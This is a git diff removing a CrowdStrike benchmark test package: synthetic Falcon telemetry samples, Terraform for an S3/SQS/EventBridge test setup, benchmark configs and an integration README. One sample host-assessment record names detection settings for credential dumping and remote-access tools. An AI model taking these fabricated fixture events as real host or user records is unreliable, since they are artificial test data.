12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"}
-{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
-{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
-{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
-{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
-{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
-{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
-{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
deleted file mode 100644
index ac47ae84b0..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
+++ /dev/null
@@ -1,125 +0,0 @@
-provider "aws" {
-  default_tags {
-    tags = {
-      environment  = var.ENVIRONMENT
-      repo         = var.REPO
-      branch       = var.BRANCH
-      build        = var.BUILD_ID
-      created_date = var.CREATED_DATE
-    }
-  }
-}
-
-resource "aws_s3_bucket" "crowdstrike_fdr" {
-  bucket = "${var.bucket_name}-${var.TEST_RUN_ID}"
-}
-
-resource "aws_s3_object" "crowdstrike_data" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "data"
-  source = "./files/fdr-sample.log"
-}
-
-resource "aws_s3_object" "crowdstrike_aidmaster" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "fdrv2/aidmaster"
-  source = "./files/fdr-0_aidmaster.log"
-}
-
-resource "aws_s3_object" "crowdstrike_userinfo" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "fdrv2/userinfo"
-  source = "./files/fdr-0_userinfo.log"
-}
-
-resource "aws_sqs_queue" "crowdstrike_queue" {
-  name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}"
-}
-
-# IAM Policy for EventBridge Scheduler
-resource "aws_iam_policy" "sqs_access_policy" {
-  count       = var.eventbridge_role_arn == null ? 1 : 0
-  name        = "sqs-access-policy-${var.TEST_RUN_ID}"
-  description = "Policy for EventBridge Scheduler to send messages to SQS"
-
-  policy = jsonencode({
-    Version = "2012-10-17"
-    Statement = [
-      {
-        Action = [
-          "sqs:ReceiveMessage",
-          "sqs:SendMessage"
-        ],
-        Effect   = "Allow"
-        Resource = aws_sqs_queue.crowdstrike_queue.arn
-      }
-    ]
-  })
-}
-
-# IAM Role for EventBridge Scheduler
-resource "aws_iam_role" "eventbridge_scheduler_iam_role" {
-  count               = var.eventbridge_role_arn == null ? 1 : 0
-  name_prefix         = "eb-scheduler-role-${var.TEST_RUN_ID}-"
-  managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn]
-  path                = "/"
-  assume_role_policy  = <<EOF
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "Service": "scheduler.amazonaws.com"
-            },
-            "Action": "sts:AssumeRole"
-        }
-    ]
-}
-EOF
-}
-
-// Simulate CrowdStrike sending its notification events to SQS. CrowdStrike
-// uses a custom notification format that is different than the AWS S3 event
-// notification format.
-resource "aws_scheduler_schedule" "eventbridge_scheduler_every1minute" {
-  name       = "eventbridge_scheduler_crowdstrike_fdr_sqs-${var.TEST_RUN_ID}"
-  group_name = "default"
-
-  flexible_time_window {
-    mode = "OFF"
-  }
-
-  schedule_expression = "rate(1 minutes)"
-
-  target {
-    arn      = aws_sqs_queue.crowdstrike_queue.arn
-    role_arn = var.eventbridge_role_arn == null ? aws_iam_role.eventbridge_scheduler_iam_role.0.arn : var.eventbridge_role_arn
-
-    input = jsonencode({
-      cid        = "ffffffff15754bcfb5f9152ec7ac90ac"
-      timestamp  = 1625677488615
-      fileCount  = 3
-      totalSize  = 120161
-      bucket     = aws_s3_bucket.crowdstrike_fdr.id
-      pathPrefix = "data/f0714ca5-3689-448d-b5cc-582a6f7a56b1"
-      "files" : [
-        {
-          "path" : aws_s3_object.crowdstrike_data.key,
-          "size" : 115258,
-          "checksum" : "c24b5525ad5d4b3ff92bb3c9c002bdc7"
-        },
-        {
-          "path" : aws_s3_object.crowdstrike_aidmaster.key,
-          "size" : 4414,
-          "checksum" : "a06a88462e6950f0be3bb83230047e87"
-        },
-        {
-          "path" : aws_s3_object.crowdstrike_userinfo.key,
-          "size" : 489,
-          "checksum" : "349c96ed5531edce2233ad417123736d"
-        }
-      ]
-    })
-  }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
deleted file mode 100644
index f209748004..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
+++ /dev/null
@@ -1,3 +0,0 @@
-output "queue_url" {
-  value = aws_sqs_queue.crowdstrike_queue.url
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
deleted file mode 100644
index 2d36f150ab..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
+++ /dev/null
@@ -1,48 +0,0 @@
-variable "BRANCH" {
-  description = "Branch name or pull request for tagging purposes"
-  default     = "unknown-branch"
-}
-
-variable "BUILD_ID" {
-  description = "Build ID in the CI for tagging purposes"
-  default     = "unknown-build"
-}
-
-variable "CREATED_DATE" {
-  description = "Creation date in epoch time for tagging purposes"
-  default     = "unknown-date"
-}
-
-variable "ENVIRONMENT" {
-  default = "unknown-environment"
-}
-
-variable "REPO" {
-  default = "unknown-repo-name"
-}
-
-variable "TEST_RUN_ID" {
-  default = "detached"
-}
-
-variable "bucket_name" {
-  default = "elastic-package-crowdstrike-fdr"
-}
-
-variable "queue_name" {
-  default = "elastic-package-crowdstrike-fdr"
-}
-
-// If testing using the elastic-siem account then add the following line to
-// services.terraform.environment in the env.yml file to override this
-// variable.
-//
-//   TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
-//
-// This is needed because the elastic-siem user accounts do not allow IAM
-// changes.
-variable "eventbridge_role_arn" {
-  description = "ARN of the role that EventBridge should assume to send SQS notifications."
-  default     = null
-  type        = string
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
deleted file mode 100644
index 2c3e8f51d6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
+++ /dev/null
@@ -1,26 +0,0 @@
----
-description: Benchmark 100000 fdr events ingested
-input: aws-s3
-deployer: tf
-data_stream:
-  name: fdr
-  vars:
-    access_key_id: "{{AWS_ACCESS_KEY_ID}}"
-    secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}"
-    session_token: "{{AWS_SESSION_TOKEN}}"
-    queue_url: "{{TF_OUTPUT_queue_url}}"
-    preserve_original_event: true
-    enable_deduplication: true
-warmup_time_period: 5s
-corpora:
-  input_service:
-    name: crowdstrike-tf
-  generator:
-    total_events: 1000
-    template:
-      path: ./fdr-benchmark/template.ndjson
-      type: gotext
-    config:
-      path: ./fdr-benchmark/config.yml
-    fields:
-      path: ./fdr-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
deleted file mode 100644
index fb4a0a8028..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-fields:
-  - name: id
-    cardinality: 100000
-  - name: cid
-    cardinality: 100000
-  - name: aid
-    cardinality: 100000
-  - name: timestamp
-    period: -24h
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
deleted file mode 100644
index 8018bd6a63..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
+++ /dev/null
@@ -1,8 +0,0 @@
-- name: id
-  type: keyword
-- name: cid
-  type: keyword
-- name: aid
-  type: keyword
-- name: timestamp
-  type: date
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
deleted file mode 100644
index 1507ca3b88..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
+++ /dev/null
@@ -1,5 +0,0 @@
-{{- $id := generate "id" }}
-{{- $cid := generate "cid" }}
-{{- $aid := generate "aid" }}
-{{- $timestamp := generate "timestamp" }}
-{"id":"{{ $id }}","cid":"{{ $cid }}","aid":"{{ $aid }}","timestamp":"{{ $timestamp }}"},
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
deleted file mode 100644
index d8553567e9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-dependencies:
-  ecs:
-    reference: "git@v8.17.0"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
deleted file mode 100644
index 7c2c83bcf8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
+++ /dev/null
@@ -1,265 +0,0 @@
-# CrowdStrike Integration
-
-The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic:
-
-1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs:
-
-- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector.
-
-    **Log File Format and Location**
-
-    The CrowdStrike integration only supports JSON output format from the SIEM Connector.
-
-    - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file.
-    - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
-    - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
-
-    >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
-
-2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs:
-
-- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`.
-
-- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc.
-
-    >  NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
-
-- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`.
-
-3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs:
-
-- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events.
-
-4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs:
-
-- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream.
-
-## Compatibility
-
-This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming.
-For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**.
-
-## Requirements
-
-### Agentless enabled integration
-Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
-
-Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments.  This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
-
-### Agent based installation
-
-Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
-You can install only one Elastic Agent per host.
-Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
-
-## Setup
-
-### Collect data from CrowdStrike REST API 
-
-The following parameters from your CrowdStrike instance are required:
-
-1. Client ID
-2. Client Secret
-3. Token url
-4. API Endpoint url
-5. Required scopes for each data stream :
-
-    | Data Stream   | Scope         |
-    | ------------- | ------------- |
-    | Alert         | read:alert    |
-    | Host          | read:host     |
-    | Vulnerability | read:vulnerability |
-
-### Collect data from CrowdStrike Event Stream
-
-The following parameters from your CrowdStrike instance are required:
-
-1. Client ID
-2. Client Secret
-3. Token URL
-4. API Endpoint URL
-5. CrowdStrike App ID
-6. Required scopes for event stream:
-
-    | Data Stream   | Scope               |
-    | ------------- | ------------------- |
-    | Event Stream  | read: Event streams |
-
-## Logs
-
-### Alert
-
-This is the `Alert` dataset.
-
-#### Example
-
-{{event "alert"}}
-
-{{fields "alert"}}
-
-### FDR
-
-The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
-managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3.
-
-This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
-SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
-and the integration can read from there.
-
-In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
-Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
-
-#### Use with CrowdStrike managed S3/SQS
-
-This is the simplest way to setup the integration, and also the default.
-
-You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR.
-
-#### Use with FDR tool and data replicated to a self-managed S3 bucket
-
-This option can be used if you want to archive the raw CrowdStrike data.
-
-You need to follow the steps below:
-
-- Create a S3 bucket to receive the logs.
-- Create a SQS queue.
-- Configure your S3 bucket to send object created notifications to your SQS queue.
-- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
-- Configure the integration to read from your self-managed SQS topic.
-
->  NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
-
-#### Configuration for the S3 input
-
-AWS credentials are required for running this integration if you want to use the S3 input.
-
-##### Configuration parameters
-* `access_key_id`: first part of access key.
-* `secret_access_key`: second part of access key.
-* `session_token`: required when using temporary security credentials.
-* `credential_profile_name`: profile name in shared credentials file.
-* `shared_credential_file`: directory of the shared credentials file.
-* `endpoint`: URL of the entry point for an AWS web service.
-* `role_arn`: AWS IAM Role to assume.
-
-##### Credential Types
-There are three types of AWS credentials can be used:
-
-- access keys,
-- temporary security credentials, and
-- IAM role ARN.
-
-##### Access keys
-
-`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
-They are long-term credentials for an IAM user, or the AWS account root user.
-Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
-for more details.
-
-##### Temporary security credentials
-
-Temporary security credentials has a limited lifetime and consists of an
-access key ID, a secret access key, and a security token which typically returned
-from `GetSessionToken`.
-
-MFA-enabled IAM users would need to submit an MFA code
-while calling `GetSessionToken`. `default_region` identifies the AWS Region
-whose servers you want to send your first API request to by default.
-
-This is typically the Region closest to you, but it can be any Region. Please see
-[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-for more details.
-
-`sts get-session-token` AWS CLI can be used to generate temporary credentials.
-For example. with MFA-enabled:
-```js
-aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
-```
-
-Because temporary security credentials are short term, after they expire, the
-user needs to generate new ones and manually update the package configuration in
-order to continue collecting `aws` metrics.
-
-This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
-
-##### IAM role ARN
-
-An IAM role is an IAM identity that you can create in your account that has
-specific permissions that determine what the identity can and cannot do in AWS.
-
-A role does not have standard long-term credentials such as a password or access
-keys associated with it. Instead, when you assume a role, it provides you with
-temporary security credentials for your role session.
-IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
-temporary credentials.
-
-Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
-
-##### Supported Formats
-1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
-and/or `session_token`.
-2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
-    for generating temporary credentials.
-    If `role_arn` is given, the package will check if access keys are given.
-    If not, the package will check for credential profile name.
-    If neither is given, default credential profile will be used.
-
-  Please make sure credentials are given under either a credential profile or
-  access keys.
-3. Use `credential_profile_name` and/or `shared_credential_file`:
-    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
-    the package will check for `credential_profile_name`.
-    If you use different credentials for different tools or applications, you can use profiles to
-    configure multiple access keys in the same configuration file.
-    If there is no `credential_profile_name` given, the default profile will be used.
-    `shared_credential_file` is optional to specify the directory of your shared
-    credentials file.
-    If it's empty, the default directory will be used.
-    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
-    For Linux, macOS or Unix, the file locates at `~/.aws/credentials`.
-    Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
-    for more details.
-
-#### Troubleshooting
-
-##### Vulnerability API returns 404 Not found
-
-This error may occur for the following reasons:
-1. Too many records in the response.
-2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
-
-To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
-
-##### Duplicate Events
-
-The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates.
-
-If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`.
-For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
-
-#### Alert severity mapping
-
-The values used in `event.severity` are consistent with Elastic Detection Rules.
-
-| Severity Name              | `event.severity` |
-|----------------------------|:----------------:|
-| Low, Info or Informational | 21               |
-| Medium                     | 47               |
-| High                       | 73               |
-| Critical                   | 99               |
-
-If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
-
-| Crowdstrike `severity` | Severity Name |
-|------------------------|:-------------:|
-| 0 - 19                 | info          |
-| 20 - 39                | low           |
-| 40 - 59                | medium        |
-| 60 - 79                | high          |
-| 80 - 100               | critical      |
-
-#### Example
-
-{{fields "fdr"}}
-
-{{event "fdr"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
deleted file mode 100644
index 774034e0c2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
+++ /dev/null
@@ -1,41 +0,0 @@
-version: '2.3'
-services:
-  crowdstrike-alert:
-    image: docker.elastic.co/observability/stream:v0.18.0
-    hostname: crowdstrike-alert
-    ports:
-      - 8090
-    volumes:
-      - ./files:/files:ro
-    environment:
-      PORT: '8090'
-    command:
-      - http-server
-      - --addr=:8090
-      - --config=/files/config-alert.yml
-  crowdstrike-host:
-    image: docker.elastic.co/observability/stream:v0.18.0
-    hostname: crowdstrike-host
-    ports:
-      - 8090
-    volumes:
-      - ./files:/files:ro
-    environment:
-      PORT: '8090'
-    command:
-      - http-server
-      - --addr=:8090
-      - --config=/files/config-host.yml
-  crowdstrike-vulnerability:
-    image: docker.elastic.co/observability/stream:v0.18.0
-    hostname: crowdstrike-vulnerability
-    ports:
